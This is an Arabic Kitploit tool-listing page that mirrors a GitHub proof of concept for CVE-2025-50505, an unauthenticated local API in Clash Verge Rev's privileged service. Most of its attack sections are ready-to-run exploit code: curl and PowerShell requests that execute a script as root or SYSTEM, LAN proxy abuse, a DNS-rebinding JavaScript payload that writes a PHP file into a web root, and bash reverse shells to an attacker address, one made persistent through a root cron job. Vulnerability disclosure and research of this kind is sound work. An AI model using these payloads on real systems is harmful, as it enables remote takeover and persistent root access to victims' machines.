Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-50505 | Kitploit
أدوات/GitHubGitHub/a0yami/cve-2025-50505
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالالحركة الجانبيةاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمرأداة الوصول عن بعدتطوير الحمولاتتحليل DNS
207منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
a0yami/cve-2025-50505

CVE-2025-50505

عرض المستودع

CVE-2025-50505

واجهة برمجة تطبيقات غير مصرّح بها تؤدي إلى تنفيذ أوامر عشوائية وتصعيد الامتيازات في Clash Verge Rev

الوصف

تنجم الثغرة عن واجهة برمجة تطبيقات (API) غير مصادق عليها توفّرها مكوّن clash-verge-service، والذي يُثبَّت بامتيازات مرتفعة افتراضيًا. تتيح هذه الثغرة للمهاجم تنفيذ أوامر عشوائية، مما يؤدي إلى سيناريوهين أساسيين للهجوم: تصعيد الامتيازات محليًا (LPE) على الجهاز المضيف وتنفيذ الأكواد عن بُعد (RCE) بشروط محددة.

يمكن استغلال ناقل RCE من قبل مهاجمين على نفس الشبكة المحلية (LAN) إذا كان المستخدم قد فعّل خيار اتصالات الشبكة المحلية. والأهم من ذلك، يمكن استغلاله من الإنترنت العام من خلال دمج الثغرة مع هجوم إعادة ربط DNS (DNS Rebinding)، مما يمكّن المهاجمين من تجاوز سياسات الأمان في المتصفح وتنفيذ أوامر على جهاز الضحية بمجرد جعله يزور موقعًا ويب خبيثًا.

تم تقديم التحذير العام الأولي من هذه الثغرة بواسطة @KawaiiZapic على منصة X.

  • البرنامج المتأثر: Clash Verge Rev <= v2.2.3
  • المنصات المتأثرة: Windows، macOS، Linux
  • الأثر: تصعيد الامتيازات محليًا، تنفيذ الأكواد عن بُعد

التفاصيل التقنية

يعمل مكوّن clash-verge-service بامتيازات عالية (root أو SYSTEM) ويعرّض واجهة HTTP API غير مصادق عليها على 127.0.0.1:33211. تكمن الثغرة في نقطة النهاية /start_clash، التي تقبل حمولة JSON للتحكم في بدء تشغيل عملية نواة Mihomo.

تقوم الخدمة ببناء وتنفيذ أمر بناءً على عدة معاملات من هذه الحمولة، باتباع بنية مشابهة لما يلي:

root@kitploit:~
<bin_path> -d <config_dir> -f <config_file> >> <log_file>

من الأهمية بمكان أن جميع المعاملات الأربعة — bin_path وconfig_dir وconfig_file وlog_file — يمكن للمهاجم التحكم فيها بالكامل. على الرغم من أن Rust توفر حماية متأصلة ضد حقن الأوامر التقليدي (مثل استخدام ; أو | لربط الأوامر)، فإن تحكم المهاجم في بنية الأمر بالكامل يتيح هجومًا من مرحلتين لتحقيق تنفيذ تعسفي للأكواد.

مواقع الكود المعرّضة للثغرة

  1. عملية الخدمة تستمع على 127.0.0.1:33211 عبر إطار Warp، ولا يتم تنفيذ أي مصادقة لواجهة /start_clash

clash-verge-service/src/service/mod.rs

root@kitploit:~
// Line 29
const LISTEN_PORT: u16 = 33211;
// Line 77~80
let api_start_clash = warp::post()
    .and(warp::path("start_clash"))
    .and(warp::body::json())
    .map(move |body: StartBody| wrap_response!(COREMANAGER.lock().unwrap().start_clash(body)));
// Line 98~107
warp::serve(
    api_get_version
        .or(api_start_clash)
        .or(api_stop_clash)
        .or(api_stop_service)
        .or(api_get_clash)
        .or(api_exit_sys),
)
.run(([127, 0, 0, 1], LISTEN_PORT))
.await;
  1. start_clash() تستدعي start_mihomo() وstart_mihomo() تستدعي الدالة process::spawn_process(bin_path, &args, log) تمريرًا bin_path. تستدعي spawn_process() الدالة std::Command::new(command) لتنفيذ الأمر

clash-verge-service/src/service/core.rs

root@kitploit:~
let pid = process::spawn_process(bin_path, &args, log)?;

clash-verge-service/src/service/process.rs

root@kitploit:~
let child = Command::new(command)
    .args(args)
    .stdout(log)
    .stderr(Stdio::null())
    .spawn()?;

ناقل الاستغلال 1: تصعيد الامتيازات محليًا (LPE)

Linux

  1. أنشئ سكريبتًا خبيثًا: (كمستخدم عادي)
root@kitploit:~
echo -e '#!/bin/bash\nid > /root/pwned' > /home/user/pwn  
chmod +x /home/user/pwn 
  1. أرسل طلبًا غير مصادق عليه:
root@kitploit:~
curl -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
       "bin_path":"/home/user/pwn",
       "config_dir":"/tmp",
       "config_file":"/dev/null",
       "log_file":"/tmp/x"
     }'

  1. تحقق من تصعيد الامتيازات:
root@kitploit:~
sudo cat /root/pwned

Windows

pwn.bat:

root@kitploit:~
@echo off
whoami > C:\Users\xxx\Desktop\pwned.txt

test.ps1:

root@kitploit:~
$apiUrl = "http://127.0.0.1:33211/start_clash"
$headers = @{ "Content-Type" = "application/json" }
$body = @{
    bin_path    = "C:\Users\xxx\Desktop\pwn.bat"
    config_dir  = "C:\Windows\Temp"
    config_file = "NUL"
    log_file    = "C:\Windows\Temp\exploit.log"
} | ConvertTo-Json

Invoke-RestMethod -Uri $apiUrl -Method Post -Headers $headers -Body $body

ناقل الاستغلال 2: تنفيذ الأكواد عن بُعد (RCE)

يمكن تصعيد الثغرة إلى RCE في سيناريوهين.

السيناريو أ: تنفيذ الأكواد عن بُعد (RCE) من الشبكة المحلية عبر إساءة استخدام الوكيل

إذا فعّل المستخدم خيار "السماح بالشبكة المحلية" (局域网连接) داخل عميل Clash Verge Rev، يصبح خادم الوكيل الخاص بالتطبيق متاحًا لجميع الأجهزة على نفس الشبكة المحلية. يمكن للمهاجم على نفس الشبكة المحلية استغلال ذلك عن طريق توجيه طلبه الخبيث عبر وكيل الضحية المكشوف.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 \
     -XPOST http://127.0.0.1:33211/start_clash \
     -H 'Content-Type: application/json' \
     -d '{
         "bin_path":"/path/to/malicious/script",
         "config_dir":"/tmp",
         "config_file":"/dev/null",
         "log_file":"/tmp/x"
     }'

السيناريو ب: تنفيذ الأكواد عن بُعد (RCE) من الإنترنت العام عبر إعادة ربط DNS

يمكن تنفيذ هجوم أكثر تقدمًا من الإنترنت دون الحاجة إلى الوصول إلى الشبكة المحلية. تعتمد سلسلة الهجوم على إعادة ربط DNS مع سلوك متصفح محدد يُعرف بثغرة "0.0.0.0-day".

يكمن مفتاح هذا الهجوم في أن Firefox وبعض إصدارات Chromium تعامل عنوان IP 0.0.0.0 كاسم مستعار لـ 127.0.0.1. وهذا يتيح للمهاجم تجاوز ميزات الأمان الحديثة في المتصفح مثل سياسة المنشأ نفسه (SOP) ووصول الشبكة الخاصة (PNA).

مسار الهجوم كما يلي:

  1. يزور الضحية موقعًا ويب خبيثًا مستضافًا على نطاق يتحكم فيه المهاجم (مثل attacker.com).
  2. يقوم خادم DNS الخاص بالمهاجم أولاً بحل attacker.com إلى عنوان IP العام الحقيقي. تُحمَّل الصفحة الخبيثة في متصفح الضحية.
  3. تقوم JavaScript على الصفحة بإجراء طلبات إضافية. في الخلفية، يغيّر خادم DNS الخاص بالمهاجم عنوان IP الخاص بـ attacker.com إلى 0.0.0.0 مع TTL قصير جدًا.
  4. عند انتهاء صلاحية ذاكرة التخزين المؤقت لـ DNS في المتصفح، يعيد حل attacker.com ويتلقى الآن 0.0.0.0.
  5. بسبب سلوك المتصفح المحدد، لا يتم حظر الطلب بل يتم إرساله مباشرة إلى 127.0.0.1 على جهاز الضحية.

نظرًا لأن أصل الطلب ما يزال attacker.com، ينجح السكريبت في تجاوز قيود الأمان والتواصل مباشرة مع واجهة برمجة التطبيقات الضعيفة clash-verge-service على 127.0.0.1:33211، محققًا تنفيذ الأكواد عن بُعد.

إثبات المفهوم (إعادة ربط DNS باستخدام Singularity)

  1. ثبّت singularity
  2. استخدم الحمولة:
root@kitploit:~
/**
 * Clash-Verge-Rev payload
 */
const ClashVergeTrueLog = () => {

  const BODY = `{
    "bin_path": "/bin/true",
    "config_dir": "<?php phpinfo();?>",
    "config_file": "/dev/null",
    "log_file": "/var/www/html/exp.php"
  }`;

  function attack() {
    fetch("/start_clash", {
      method: "POST",
      headers: { 'Content-Type': 'application/json' },
      body:   BODY
    }).then(() => console.log("[Clash-True] sent"));
  }

  async function isService(headers,cookie,body){
    try {
      const r = await fetch("/version", {method:"GET"});
      const t = await r.text();
      return t.includes("Clash");
    } catch { return false; }
  }

  return {attack, isService};
};

Registry["Clash Verge Rev RCE"] = ClashVergeTrueLog();

استبدل كاشف PHP بأي لغة برمجة نصية تدعم علامات الحدود. إذا كنت تريد الحصول على جذر شل (root shell)، فراجع القسم التالي وعدّل الحمولة.

  1. شغّل singularity-server وقم بإعداد لوحة الهجوم
  • ./singularity-server --HTTPServerPort 33211
  • الهدف (Target Host): 0.0.0.0
  • استراتيجية إعادة الربط: First then second
  • طريقة الهجوم: Inline Frame

https://github.com/user-attachments/assets/b0846486-cd24-4f3a-987e-54388c82c148

438500801-c4f8865c-8a37-4763-873f-b7d6057ac9e1

ملاحظة

ملاحظة: عند تخصيص Content-Type إلى application/json، لا تضبط no-cors. First then second هو وضع إعادة ربط DNS أبطأ لكنه أكثر استقرارًا. يمكنك أيضًا اختيار multiple answers، ولكن بعض خوادم DNS العامة قد تخفف من ذلك، مما يتسبب في فشل الهجوم.

القشرة العكسية (LAN)

تحتوي أنظمة MacOS وبعض أنظمة Linux (مثل Kali) على zsh، وهو ما يسمح بتنفيذ السكريبتات باستخدام -d و-f.

root@kitploit:~
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1';",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

# OR SET UP A CRON JOB
curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H "Content-Type: application/json" \
  -d @- << 'EOF'
{
  "bin_path":   "/bin/echo",
  "config_dir": ";python3 -c \"open('/etc/cron.d/rev_shell','w').write(\\\"* * * * * root bash -c 'bash -i >& /dev/tcp/192.168.108.129/4444 0>&1'\\n\\\");\"; rm /tmp/rce_file;",
  "config_file":"/dev/null",
  "log_file":   "/tmp/rce_file"
}
EOF

curl --proxy http://192.168.108.129:7897 -XPOST http://127.0.0.1:33211/start_clash \
  -H 'Content-Type: application/json' \
  -d '{"bin_path": "/bin/zsh","config_dir": "/tmp/rce_file","config_file": "/dev/null","log_file": ""}'

مناقشة

  1. توجد ثغرة حقن أوامر، CVE-2024-24576، في الإصدارات الأقدم من Rust على Windows. وبالتالي، قد تكون الإصدارات الأقدم من Clash Verge Rev المترجمة بمجموعة أدوات Rust ضعيفة عرضة لاستغلال قشرة عكسية مباشر وأبسط. علاوة على ثغرة Rust المحددة هذه، يمكن أيضًا دمج المشكلة الأساسية المتمثلة في تنفيذ العمليات العشوائية مع العديد من LOLBAS كمسار بديل لتحقيق القشرة العكسية.
  2. بعد مسح السجل (log)، تُلحق مخرجات الأمر بعد سطر "Spawning process...". سيؤدي تعيين bin_path مباشرة إلى سكريبت (مثل evil.sh) إلى الفشل. وذلك لأنه بدون shebang (#!/bin/bash)، لا يمكن لنظام التشغيل الأساسي تحديد المفسِّر الذي يجب استخدامه. كما أن محاولة استدعائه صراحةً عبر bash evil.sh ستؤدي أيضًا إلى الفشل، لأن وسيطة -d التي تمررها الخدمة سيُساء تفسيرها كخيار غير صالح من قبل bash نفسه.
root@kitploit:~
let _ = writeln!(log, "Spawning process: {} {}", command, args.join(" "));
    log.flush()?;

let child = Command::new(command)
    .args(args)
    .stdout(Stdio::from(log))
    .stderr(Stdio::null())
    .spawn()?;

شكرًا لـ @Esonhugh لاقتراحه أن zsh يمكن استخدامه لتنفيذ الأوامر بنجاح في هذه الظروف.

المراجع

  • إعادة ربط DNS في المتصفح
  • https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
  • https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps

الحل

قم بالتحديث إلى أحدث إصدار.

تنزيل الأداة